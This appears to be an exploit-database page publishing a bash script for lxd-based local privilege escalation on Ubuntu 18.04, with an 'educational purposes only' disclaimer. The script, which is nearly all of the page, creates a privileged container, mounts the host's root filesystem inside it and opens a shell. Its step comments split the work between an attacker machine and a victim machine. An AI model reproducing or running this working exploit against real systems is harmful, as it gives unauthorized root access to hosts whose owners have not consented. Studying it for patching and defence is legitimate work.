Ubuntu 18.04 lxd privilege escalation Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-06-10 | Type : local | Platform : linux
This exploit / vulnerability Ubuntu 18.04 lxd privilege escalation is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#!/usr/bin/env bash

# ----------------------------------
# Authors: Marcelo Vazquez (S4vitar)
# Victor Lasa (vowkin)
# ----------------------------------

# Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
# Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
# Step 3: Run this script and you will get root [Victim Machine]
# Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine

function helpPanel(){
echo -e "\nUsage:"
echo -e "\t[-f] Filename (.tar.gz alpine file)"
echo -e "\t[-h] Show this help panel\n"
exit 1
}

function createContainer(){
lxc image import $filename --alias alpine && lxd init --auto
echo -e "[*] Listing images...\n" && lxc image list
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc sh
cleanup
}

function cleanup(){
echo -en "\n[*] Removing container..."
lxc stop privesc && lxc delete privesc && lxc image delete alpine
echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
case $arg in
f) filename=$OPTARG && let parameter_enable+=1;;
h) helpPanel;;
esac
done

if [ $parameter_enable -ne 1 ]; then
helpPanel
else
createContainer
fi